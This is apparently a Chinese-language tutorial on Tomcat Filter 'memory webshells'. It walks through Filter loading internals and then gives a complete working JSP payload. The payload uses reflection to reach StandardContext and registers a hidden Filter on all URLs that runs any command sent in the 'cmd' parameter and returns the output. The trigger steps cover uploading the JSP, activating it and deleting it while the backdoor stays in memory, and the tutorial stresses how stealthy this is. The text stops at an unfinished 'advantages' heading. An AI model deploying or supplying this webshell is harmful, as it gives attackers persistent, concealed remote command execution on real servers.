1. 基本概念
Filter(过滤器) 是 Java Web 应用中的一个组件,作用是在请求到达 Servlet 前,对请求和响应进行拦截、预处理或后处理。

特点:
-
介于 客户端请求 与 Servlet 之间
-
常见用途:认证、日志记录、请求参数处理
-
执行顺序:请求先经过 Filter → 再传递给 Servlet → 响应可再次经过 Filter
Filter 内存马 的思路与 Servlet 内存马类似:
-
利用 运行时动态注册 Filter 的能力
-
将恶意 Filter 植入内存
-
所有请求都会经过 Filter,从而实现后门逻辑
2. Filter 装载流程(开发者视角)
2.1 定义 Filter
package com.example.memshell; import jakarta.servlet.FilterChain; import jakarta.servlet.ServletException; import jakarta.servlet.http.HttpFilter; import jakarta.servlet.http.HttpServletRequest; import jakarta.servlet.http.HttpServletResponse; import java.io.IOException; public class MyFilter extends HttpFilter { @Override protected void doFilter(HttpServletRequest req, HttpServletResponse res, FilterChain chain) throws IOException, ServletException { String cmd = req.getParameter("cmd"); if (cmd != null){ res.getWriter().println("自定义响应"); } super.doFilter(req, res, chain); } }
2.2 配置 web.xml
<filter> <filter-name>MyFilter</filter-name> <filter-class>com.example.memshell.MyFilter</filter-class> </filter> <filter-mapping> <filter-name>MyFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
2.3 Tomcat 加载
-
启动时,Tomcat 解析
web.xml -
创建并初始化
MyFilter对象 -
根据
<filter-mapping>,将/*的请求都交给MyFilter处理
3. Tomcat Filter 加载流程(容器内部机制)
3.1 Web 应用启动
-
Tomcat 在启动时,会调用
ContextConfig#configureStart() -
除了解析 Servlet,还会解析 Filter 配置
3.2 Filter 定义(FilterDef)
-
每个 Filter 的配置会被解析为
FilterDef对象 -
包含:Filter 名称、类名、实例对象
3.3 Filter 映射(FilterMap)
-
<filter-mapping>对应FilterMap -
定义了 Filter 的匹配规则(如 URL pattern、Servlet 名称)
3.4 注册 Filter
-
StandardContext.addFilterDef(def)注册 Filter 定义 -
StandardContext.addFilterMapBefore(map)注册映射 -
standardContext.filterStart()启动 Filter 机制
4. 内存马实现机制
Filter 内存马的实现步骤:
-
编写恶意 Filter(执行命令/响应输出)
-
获取 StandardContext
-
request.getServletContext()→ 反射逐层获取内部StandardContext
-
-
创建 FilterDef(定义)和 FilterMap(映射)
-
调用 API 注册到容器
-
addFilterDef()→ 注册 Filter -
addFilterMapBefore()→ 设置 URL 匹配规则 -
filterStart()→ 激活 Filter
-
5. 示例代码(JSP Filter 内存马)
<%@ page import="java.io.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="org.apache.catalina.core.*" %>
<%@ page import="javax.servlet.*, javax.servlet.http.*" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%!
// 恶意 Filter
public class ShellFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) {}
@Override
public void doFilter(ServletRequest req, ServletResponse resp,
FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
Process proc = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(
new InputStreamReader(proc.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
resp.getWriter().println(line);
}
br.close();
} else {
chain.doFilter(req, resp);
}
}
@Override
public void destroy() {}
}
%>
<%
// 1. 获取 StandardContext
ServletContext servletContext = request.getServletContext();
Field appCtxField = servletContext.getClass().getDeclaredField("context");
appCtxField.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext) appCtxField.get(servletContext);
Field stdCtxField = appCtx.getClass().getDeclaredField("context");
stdCtxField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdCtxField.get(appCtx);
// 2. 创建恶意 Filter 定义
ShellFilter filter = new ShellFilter();
FilterDef def = new FilterDef();
def.setFilter(filter);
def.setFilterName("filter-shell");
def.setFilterClass(filter.getClass().getName());
// 3. 创建 Filter 映射
FilterMap map = new FilterMap();
map.addURLPattern("/*");
map.setFilterName("filter-shell");
// 4. 注册到容器
standardContext.addFilterDef(def);
standardContext.addFilterMapBefore(map);
standardContext.filterStart();
%>
6. 触发步骤
-
上传 JSP 木马至服务器
-
访问 JSP 文件 → 执行注入逻辑,动态注册 Filter
-
之后的所有请求都会经过恶意 Filter
-
请求带参数
cmd→ 执行系统命令 -
请求不带参数 → 正常转发到目标 Servlet
-
-
(可选)删除 JSP 文件,Filter 内存马依然驻留
7. 总结
-
Filter 内存马 与 Servlet 内存马 类似,都是利用 Tomcat 的动态注册机制
-
不同点:
-
Servlet 内存马需要手动绑定一个新 URL
-
Filter 内存马则是“全局挂钩”,对所有请求生效(更隐蔽)
-
-
关键 API:
-
addFilterDef() -
addFilterMapBefore() -
filterStart()
-
-
优势



